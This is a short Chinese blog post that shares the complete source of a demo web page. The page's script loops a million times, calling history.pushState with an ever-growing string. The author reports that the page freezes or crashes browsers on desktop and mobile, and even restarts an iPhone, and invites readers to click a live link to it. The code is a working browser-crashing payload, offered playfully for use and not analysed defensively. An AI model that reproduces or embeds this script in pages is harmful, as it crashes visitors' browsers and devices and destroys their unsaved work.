Zihao

Make small but daily progress

0%

www.0xroot.cn/demo.html源码分享

一个小bug引起的博文。

完整 HTML 代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<body>
<script>
var total=“”;
for (var i=0;i<1000000;i++)
{
total= total+i.toString ();
history.pushState (0,0,total);
}
</script>
</body>
</html>

demo:(温馨提示:请保存浏览器其它窗口的编辑任务)
www.0xroot.cn/demo.html (点击一下,又不会怀孕!)

接来下会发生什么?
点开以后,我的状态是这样的……………..
如果你是 PC 端用户,点开链接以后,电脑 CPU 内存极有可能一路狂飙直至浏览器崩溃卡死!
如果你是移动端(安卓、iPhone)用户,点开链接以后你的浏览器会闪退!
在微博、微信客户端点开链接同样会闪退。
iPhone 用 Safari 打开之后链接之后,手机注销重启了!…

思考
这是 Bug 还是 0day?为什么会有这一现象?如何实现的?

  • 本文作者: Zihao Yao
  • 本文链接: https://yaozihao.com/something_have_fun/
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!

欢迎关注我的其它发布渠道